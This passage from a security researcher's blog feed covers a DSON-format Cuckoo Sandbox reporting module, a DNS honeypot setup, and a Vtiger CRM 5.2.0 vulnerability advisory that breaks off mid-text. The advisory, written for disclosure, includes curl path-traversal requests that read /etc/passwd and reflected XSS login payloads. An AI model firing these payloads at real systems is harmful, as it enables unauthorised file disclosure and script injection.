familiar to a wide variety of japanese dog breeds. These properties make
&lt;span class="caps"&gt;DSON&lt;/span&gt; an ideal data-interchange language for everything that involves
Shiba …&lt;/em&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;Several days ago I discovered one of the best projects of this year:
&lt;a class="reference external" href="http://dogeon.org/"&gt;dogeon&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;span class="caps"&gt;DSON&lt;/span&gt; (Doge Serialized Object Notation) is a data-interchange format,
that is easy to read and write for Shiba Inu dogs. It is easy for
machines to parse and generate. It is designed to be as similiar as
possible to the `DogeScript Programming
Language &amp;lt;https://github.com/remixz/dogescript&amp;gt;`__. &lt;span class="caps"&gt;DSON&lt;/span&gt; is a text
format that is not language independent but uses conventions that are
familiar to a wide variety of japanese dog breeds. These properties make
&lt;span class="caps"&gt;DSON&lt;/span&gt; an ideal data-interchange language for everything that involves
Shiba Inu&amp;nbsp;intercommunication.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://cuckoosandbox.org"&gt;Cuckoo&lt;/a&gt; is such sandbox, lol&amp;nbsp;malware,
&amp;nbsp;very sandbox. So, I did&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;First of all I found this &lt;a class="reference external" href="https://github.com/soasme/dogeon"&gt;great
library&lt;/a&gt; written in Python,
because of Shiba Inu&amp;nbsp;code&amp;nbsp;Python.&lt;/p&gt;
&lt;p&gt;Writing modules in Cuckoo is amazingly easy, check out the documentation
about reporting
modules:&amp;nbsp;&lt;a class="reference external" href="http://docs.cuckoosandbox.org/en/latest/customization/reporting/"&gt;http://docs.cuckoosandbox.org/en/latest/customization/reporting/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I used &amp;nbsp;json module as a starting point, changing just a few lines, I
imported dogeon library and used it to dump the Cuckoo results dict.
This is the code (available on
&lt;a class="reference external" href="https://github.com/jekil/cuckoo-fu/blob/master/modules/reporting/dogeon.py"&gt;Github&lt;/a&gt;&amp;nbsp;too):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;dson&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;codecs&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;lib.cuckoo.common.abstracts&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Report&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;lib.cuckoo.common.exceptions&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;CuckooReportError&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;DogeonDump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Report&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reports_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;report.doge&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;report&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;codecs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;w&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;dson&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;report&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;indent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;report&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ne"&gt;UnicodeError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ne"&gt;IOError&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;CuckooReportError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Failed to generate Dogeon report: &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To install this setup requirements&amp;nbsp;with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="go"&gt;pip install dogeon&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Copy the reporting module in reporting modules folder, in
/modules/reporting. Enable it adding the following lines to
reporting.conf, in&amp;nbsp;/conf/reporting.conf:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[dogeon]
enabled = yes
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Run cuckoo and a report will be&amp;nbsp;like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;such
    &amp;quot;info&amp;quot; is such
        &amp;quot;category&amp;quot; is &amp;quot;file&amp;quot;,
        &amp;quot;package&amp;quot; is &amp;quot;&amp;quot;,
        &amp;quot;started&amp;quot; is &amp;quot;2014-06-08 17:52:53&amp;quot;,
        &amp;quot;custom&amp;quot; is &amp;quot;&amp;quot;,
        &amp;quot;machine&amp;quot; is such
            &amp;quot;shutdown_on&amp;quot; is &amp;quot;2014-06-08 17:53:58&amp;quot;,
            &amp;quot;label&amp;quot; is &amp;quot;cuckoo01&amp;quot;,
            &amp;quot;manager&amp;quot; is &amp;quot;VirtualBox&amp;quot;,
            &amp;quot;started_on&amp;quot; is &amp;quot;2014-06-08 17:52:53&amp;quot;,
            &amp;quot;id&amp;quot; is 1,
            &amp;quot;name&amp;quot; is &amp;quot;cuckooosx&amp;quot;
        wow,
        &amp;quot;ended&amp;quot; is &amp;quot;2014-06-08 17:53:58&amp;quot;,
        &amp;quot;version&amp;quot; is &amp;quot;1.2-dev&amp;quot;,
        &amp;quot;duration&amp;quot; is 65,
        &amp;quot;id&amp;quot; is 1
    wow,
    &amp;quot;signatures&amp;quot; is so many,
    &amp;quot;static&amp;quot; is such wow,
    &amp;quot;dropped&amp;quot; is so
        such
            &amp;quot;yara&amp;quot; is so many,
[snip...]
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Please, use doge power with&amp;nbsp;care.&lt;/p&gt;
</content><category term="Tools"></category><category term="cuckoo"></category><category term="doge"></category></entry><entry><title>Cuckoo Sandbox 1.1 released</title><link href="https://jekil.sexy/blog/2014/cuckoo-sandbox-1-1-released.html" rel="alternate"></link><published>2014-04-09T20:52:00+01:00</published><updated>2014-04-09T20:52:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2014-04-09:/blog/2014/cuckoo-sandbox-1-1-released.html</id><content type="html">&lt;p&gt;In past days we released &lt;a class="reference external" href="http://cuckoosandbox.org/2014-04-07-cuckoo-sandbox-11.html"&gt;Cuckoo Sandbox
1.1&lt;/a&gt;, you
can check it out from &lt;a class="reference external" href="http://cuckoosandbox.org"&gt;official site&lt;/a&gt; or
&lt;a class="reference external" href="https://github.com/cuckoobox/cuckoo"&gt;github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can read our &lt;a class="reference external" href="http://cuckoosandbox.org/2014-04-07-cuckoo-sandbox-11.html"&gt;cool release
post&lt;/a&gt;
which lists all&amp;nbsp;changes.&lt;/p&gt;
&lt;p&gt;If you are a Cuckoo user you should upgrade, if you are not, it is time
to give Cuckoo a&amp;nbsp;try.&lt;/p&gt;
</content><category term="Tools"></category><category term="cuckoo"></category></entry><entry><title>Homemade custom interaction DNS honeypot</title><link href="https://jekil.sexy/blog/2014/homemade-custom-interaction-dns-honeypot.html" rel="alternate"></link><published>2014-04-02T20:30:00+01:00</published><updated>2014-04-02T20:30:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2014-04-02:/blog/2014/homemade-custom-interaction-dns-honeypot.html</id><summary type="html">&lt;div class="line-block"&gt;
&lt;div class="line"&gt;Time ago I needed a weird &lt;span class="caps"&gt;DNS&lt;/span&gt; honeypot with &amp;#8220;some&amp;#8221; level of
interaction.&lt;/div&gt;
&lt;div class="line"&gt;I mean an honeypot which acts as a real &lt;span class="caps"&gt;DNS&lt;/span&gt; server, sending out &lt;span class="caps"&gt;DNS&lt;/span&gt;
replies &amp;nbsp;for the first bunch of requests, and after it work as a
sinkhole.&lt;/div&gt;
&lt;div class="line"&gt;I did it in Python and &lt;a class="reference external" href="https://twistedmatrix.com/trac/"&gt;Twisted&lt;/a&gt;,
&amp;nbsp;named it with the worst name I was able to catch and published it on
&lt;a class="reference external" href="https://github.com/jekil/UDPot"&gt;Github&lt;/a&gt;.&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I hope all setup steps are documented
in&amp;nbsp;&lt;a class="reference external" href="https://github.com/jekil/UDPot/blob/master/README.md"&gt;&lt;span class="caps"&gt;README&lt;/span&gt;.md&lt;/a&gt;,
anyway here is a quick&amp;nbsp;recap.&lt;/p&gt;
&lt;p&gt;Check it out from&amp;nbsp;&lt;a class="reference external" href="https://github.com/jekil/UDPot"&gt;Github&lt;/a&gt;&amp;nbsp;and
create a virtualenv (you have to install it for example with apt-get
install&amp;nbsp;python-virtualenv …&lt;/p&gt;</summary><content type="html">&lt;div class="line-block"&gt;
&lt;div class="line"&gt;Time ago I needed a weird &lt;span class="caps"&gt;DNS&lt;/span&gt; honeypot with &amp;#8220;some&amp;#8221; level of
interaction.&lt;/div&gt;
&lt;div class="line"&gt;I mean an honeypot which acts as a real &lt;span class="caps"&gt;DNS&lt;/span&gt; server, sending out &lt;span class="caps"&gt;DNS&lt;/span&gt;
replies &amp;nbsp;for the first bunch of requests, and after it work as a
sinkhole.&lt;/div&gt;
&lt;div class="line"&gt;I did it in Python and &lt;a class="reference external" href="https://twistedmatrix.com/trac/"&gt;Twisted&lt;/a&gt;,
&amp;nbsp;named it with the worst name I was able to catch and published it on
&lt;a class="reference external" href="https://github.com/jekil/UDPot"&gt;Github&lt;/a&gt;.&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I hope all setup steps are documented
in&amp;nbsp;&lt;a class="reference external" href="https://github.com/jekil/UDPot/blob/master/README.md"&gt;&lt;span class="caps"&gt;README&lt;/span&gt;.md&lt;/a&gt;,
anyway here is a quick&amp;nbsp;recap.&lt;/p&gt;
&lt;p&gt;Check it out from&amp;nbsp;&lt;a class="reference external" href="https://github.com/jekil/UDPot"&gt;Github&lt;/a&gt;&amp;nbsp;and
create a virtualenv (you have to install it for example with apt-get
install&amp;nbsp;python-virtualenv):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; git clone https://github.com/jekil/UDPot.git
&lt;span class="gp"&gt;$&lt;/span&gt; virtualenv ve_udpot
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Enter in the virtualenv and in the application&amp;nbsp;folder:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; &lt;span class="nb"&gt;source&lt;/span&gt; ve_udpot/bin/activate
&lt;span class="gp"&gt;$&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; UDPot
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Setup all requirements (you need python headers, you can install it with
apt-get&amp;nbsp;python-dev):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; pip install -r requirements.txt
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You can print the option list using the help -h&amp;nbsp;option:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; python dns.py -h
&lt;span class="go"&gt;usage: dns.py [-h] [-p DNS_PORT] [-c REQ_COUNT] [-t REQ_TIMEOUT] [-s] [-v] server&lt;/span&gt;

&lt;span class="go"&gt;positional arguments:&lt;/span&gt;
&lt;span class="go"&gt;  server                DNS server IP address&lt;/span&gt;

&lt;span class="go"&gt;optional arguments:&lt;/span&gt;
&lt;span class="go"&gt;  -h, --help            show this help message and exit&lt;/span&gt;
&lt;span class="go"&gt;  -p DNS_PORT, --dns-port DNS_PORT&lt;/span&gt;
&lt;span class="go"&gt;                        DNS honeypot port&lt;/span&gt;
&lt;span class="go"&gt;  -c REQ_COUNT, --req-count REQ_COUNT&lt;/span&gt;
&lt;span class="go"&gt;                        how many request to resolve&lt;/span&gt;
&lt;span class="go"&gt;  -t REQ_TIMEOUT, --req-timeout REQ_TIMEOUT&lt;/span&gt;
&lt;span class="go"&gt;                        how many request to resolve&lt;/span&gt;
&lt;span class="go"&gt;  -s, --sql             database connection string&lt;/span&gt;
&lt;span class="go"&gt;  -v, --verbose         print each request&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And run the &lt;span class="caps"&gt;DNS&lt;/span&gt; honeypot using options you like,&amp;nbsp;as:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; python dns.py -v &lt;span class="m"&gt;8&lt;/span&gt;.8.8.8
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dns.py binds on port 5053, to reply on requests on port 53 without
running dns.py as root you need some iptables&amp;nbsp;magic:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;#&lt;/span&gt; iptables -t nat -A PREROUTING -i eth0 -p tcp --dport &lt;span class="m"&gt;53&lt;/span&gt; -j REDIRECT --to-ports &lt;span class="m"&gt;5053&lt;/span&gt;
&lt;span class="gp"&gt;#&lt;/span&gt; iptables -t nat -A PREROUTING -i eth0 -p udp --dport &lt;span class="m"&gt;53&lt;/span&gt; -j REDIRECT --to-ports &lt;span class="m"&gt;5053&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Honeypot data can be printed on stdout with -v option or you can read
them in sqlite&amp;nbsp;database:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt; sqlite3 db.sqlite3
&lt;span class="go"&gt;SQLite version 3.7.13 2012-06-11 02:05:22&lt;/span&gt;
&lt;span class="go"&gt;Enter &amp;quot;.help&amp;quot; for instructions&lt;/span&gt;
&lt;span class="go"&gt;Enter SQL statements terminated with a &amp;quot;;&amp;quot;&lt;/span&gt;
&lt;span class="go"&gt;sqlite&amp;gt; SELECT * FROM __main___dns;&lt;/span&gt;


&lt;span class="go"&gt;1|94.23.212.82|30789|ahuyehue.info|ALL_RECORDS|IN|2014-04-02 10:35:43.378744&lt;/span&gt;
&lt;span class="go"&gt;2|94.23.212.82|30789|ahuyehue.info|ALL_RECORDS|IN|2014-04-02 10:35:43.374297&lt;/span&gt;
&lt;span class="go"&gt;3|94.23.212.82|30789|ahuyehue.info|ALL_RECORDS|IN|2014-04-02 10:35:43.370550&lt;/span&gt;
&lt;span class="go"&gt;4|94.23.212.82|30789|ahuyehue.info|ALL_RECORDS|IN|2014-04-02 10:35:43.366275&lt;/span&gt;
&lt;span class="go"&gt;5|94.23.212.82|30789|ahuyehue.info|ALL_RECORDS|IN|2014-04-02 10:35:43.358958&lt;/span&gt;
&lt;span class="go"&gt;6|94.23.212.82|37820|ahuyehue.info|ALL_RECORDS|IN|2014-04-02 10:35:32.104334&lt;/span&gt;
&lt;span class="go"&gt;7|94.23.212.82|37820|ahuyehue.info|ALL_RECORDS|IN|2014-04-02 10:35:32.099354&lt;/span&gt;
&lt;span class="go"&gt;8|94.23.212.82|37820|ahuyehue.info|ALL_RECORDS|IN|2014-04-02 10:35:32.094711&lt;/span&gt;
&lt;span class="go"&gt;9|94.23.212.82|37820|ahuyehue.info|ALL_RECORDS|IN|2014-04-02 10:35:32.086916&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
</content><category term="Tools"></category><category term="honeypot"></category><category term="udpot"></category></entry><entry><title>New tool for image forensics</title><link href="https://jekil.sexy/blog/2013/new-tool-for-image-forensics.html" rel="alternate"></link><published>2013-02-08T21:39:00+00:00</published><updated>2013-02-08T21:39:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2013-02-08:/blog/2013/new-tool-for-image-forensics.html</id><content type="html">&lt;div class="line-block"&gt;
&lt;div class="line"&gt;Images contained tons of information also known as metadata. I
published a simple tool which extracts these information from provided
images and display them in a nicely formatted report.&lt;/div&gt;
&lt;div class="line"&gt;Check it out at: &lt;a class="reference external" href="http://www.imageforensic.org/"&gt;http://www.imageforensic.org/&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content><category term="Tools"></category><category term="image forensics"></category><category term="photo forensics"></category></entry><entry><title>Vtiger CRM 5.2.0 Multiple Vulnerabilities @ Ush.it</title><link href="https://jekil.sexy/blog/2010/vtiger-crm-5-2-0-multiple-vulnerabilities-ush-it.html" rel="alternate"></link><published>2010-12-04T12:52:00+00:00</published><updated>2010-12-04T12:52:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2010-12-04:/blog/2010/vtiger-crm-5-2-0-multiple-vulnerabilities-ush-it.html</id><summary type="html">&lt;p&gt;With the &lt;a class="reference external" href="http://www.ush.it/"&gt;Ush.it&lt;/a&gt; team we published an advisory
about “&lt;a class="reference external" href="http://www.ush.it/2010/11/16/vtiger-crm-520-multiple-vulnerabilities/"&gt;Vtiger &lt;span class="caps"&gt;CRM&lt;/span&gt; 5.2.0 Multiple
Vulnerabilities&lt;/a&gt;”.
The original
is&amp;nbsp;&lt;a class="reference external" href="http://www.ush.it/2010/11/16/vtiger-crm-520-multiple-vulnerabilities/"&gt;here&lt;/a&gt;
and you can download it &lt;a class="reference external" href="https://jekil.sexy/public/advisory/hack-vtigercrm_520-2010/vtigercrm_520.txt"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Vtiger CRM 5.2.0 Multiple Vulnerabilities

Name              Multiple Vulnerabilities in Vtiger CRM
Systems Affected  Vtiger CRM 5.2.0 and possibly earlier versions
Severity          Medium
Impact (CVSSv2)   Medium 9/10, vector: (AV:N/AC:L/Au:N/C:P/I:P/A:C)
Vendor            http://www.vtigercrm.com
Advisory          http://www.ush.it/team/ush/hack-vtigercrm_520/vtigercrm_520.txt
Authors           Giovanni &amp;quot;evilaliv3&amp;quot; Pellerano (evilaliv3 AT ush DOT it)
                  Alessandro &amp;quot;jekil&amp;quot; Tanasi (alessandro AT …&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;With the &lt;a class="reference external" href="http://www.ush.it/"&gt;Ush.it&lt;/a&gt; team we published an advisory
about “&lt;a class="reference external" href="http://www.ush.it/2010/11/16/vtiger-crm-520-multiple-vulnerabilities/"&gt;Vtiger &lt;span class="caps"&gt;CRM&lt;/span&gt; 5.2.0 Multiple
Vulnerabilities&lt;/a&gt;”.
The original
is&amp;nbsp;&lt;a class="reference external" href="http://www.ush.it/2010/11/16/vtiger-crm-520-multiple-vulnerabilities/"&gt;here&lt;/a&gt;
and you can download it &lt;a class="reference external" href="https://jekil.sexy/public/advisory/hack-vtigercrm_520-2010/vtigercrm_520.txt"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Vtiger CRM 5.2.0 Multiple Vulnerabilities

Name              Multiple Vulnerabilities in Vtiger CRM
Systems Affected  Vtiger CRM 5.2.0 and possibly earlier versions
Severity          Medium
Impact (CVSSv2)   Medium 9/10, vector: (AV:N/AC:L/Au:N/C:P/I:P/A:C)
Vendor            http://www.vtigercrm.com
Advisory          http://www.ush.it/team/ush/hack-vtigercrm_520/vtigercrm_520.txt
Authors           Giovanni &amp;quot;evilaliv3&amp;quot; Pellerano (evilaliv3 AT ush DOT it)
                  Alessandro &amp;quot;jekil&amp;quot; Tanasi (alessandro AT tanasi DOT it)
Date              20101116

I. BACKGROUND

Vtiger CRM is a free, full-featured, 100% Open Source CRM software ideal
for small and medium businesses, with low-cost product support available
to production users that need reliable support.

II. DESCRIPTION

Multiple Vulnerabilities exist in Vtiger CRM software.

III. ANALYSIS

Summary:

A) Remote Code Execution (RCE) Vulnerability
B) Local File Inclusion (LFI) Vulnerability (pre-auth)
C) Cross Site Scripting (XSS) Vulnerabilities (pre-auth, reflected)
D) Cross Site Scripting (XSS) Vulnerabilities (post-auth, reflected)

A) Remote Code Execution (RCE) Vulnerability

A Remote Code Execution vulnerability exists in Vtiger CRM version 5.2.0.
In order to exploit this vulnerability an account on the CRM system is required.

The vulnerability resides in the &amp;quot;Compose Mail&amp;quot; section. The software
permits sending email with attachments and offers a draft save feature.
When this feature is used and an attachment is specified, the
&amp;quot;sanitizeUploadFileName($fileName, $badFileExtensions)&amp;quot; validation routine
is called.

This routine involves some security checks to handle uploaded files, it
does blacklist extension checking and if a bad extension is detected the
txt extension is appended to the file-name.

The blacklist array, defined inside config.inc.php, lacks the &amp;quot;phtml&amp;quot; extension,
well known to be supported by some distributions and packaging, allowing an
attacker to execute the uploaded file and causing the vulnerability.

Below is the blacklist array defined in config.template.php:

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

112: $upload_badext = array(&amp;#39;php&amp;#39;, &amp;#39;php3&amp;#39;, &amp;#39;php4&amp;#39;, &amp;#39;php5&amp;#39;, &amp;#39;pl&amp;#39;, &amp;#39;cgi&amp;#39;, &amp;#39;py&amp;#39;,
 &amp;#39;asp&amp;#39;, &amp;#39;cfm&amp;#39;, &amp;#39;js&amp;#39;, &amp;#39;vbs&amp;#39;, &amp;#39;html&amp;#39;, &amp;#39;htm&amp;#39;, &amp;#39;exe&amp;#39;, &amp;#39;bin&amp;#39;, &amp;#39;bat&amp;#39;, &amp;#39;sh&amp;#39;, dll&amp;#39;,
 &amp;#39;phps&amp;#39;);

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

For the exploitation methodology for this issue we remand to [1], a
previous advisory of ours.

B) Local File Inclusion (LFI) Vulnerability (pre-auth)

A Local File Inclusion vulnerability exists in Vtiger CRM version 5.2.0.
The vulnerability can be exploited by unauthenticated users.

The vulnerability is present due to insecure statements in the script
phprint.php that forward unfiltered user inputs directly to an include()
function call.

Below are the insecure statements in phprint.php:

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

61: $lang_crm = (empty($_GET[&amp;#39;lang_crm&amp;#39;])) ? $default_language : $_GET[&amp;#39;lang_crm&amp;#39;];
62: $app_strings = return_application_language($lang_crm);

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

Where the function return_application_language() is defined in
include/utils/utils.php as follows:

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

427: function return_application_language($language)
428: {
/.../

435:    @include(&amp;quot;include/language/$language.lang.php&amp;quot;);

   /.../
464: }

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

The same issue is also present in graph.php:

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

47: if(isset($_REQUEST[&amp;#39;current_language&amp;#39;]))
48: {
49:        $current_language = $_REQUEST[&amp;#39;current_language&amp;#39;];
50: }
51:
52: // retrieve the translated strings.
53: $app_strings = return_application_language($current_language);

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

The two vulnerable flaws can be triggered, for example, using:

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

curl -kis &amp;quot;http://127.0.0.1/vtigercrm/phprint.php?lang_crm=/../[..]/../
etc/passwd%00&amp;amp;module=a&amp;amp;action=a&amp;amp;activity_mode=

curl -kis &amp;quot;http://127.0.0.1/vtigercrm/graph.php?current_language=/../[..]/../
etc/passwd%00&amp;amp;module=Accounts&amp;amp;action=Import&amp;amp;parenttab=Support&amp;quot;

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

C) Cross Site Scripting vulnerabilities (pre-auth, reflected)

A reflected XSS vulnerability exists in Vtiger CRM version 5.2.0.
The vulnerability can be exploited against unauthenticated users only.

The vulnerability is present on the login form, and can be triggered
using these inputs:

- username:  &amp;quot; onmouseover=&amp;quot;javascript:alert(&amp;#39;XSS&amp;#39;);
- password:  &amp;quot; onmouseover=&amp;quot;javascript:alert(&amp;#39;XSS&amp;#39;);

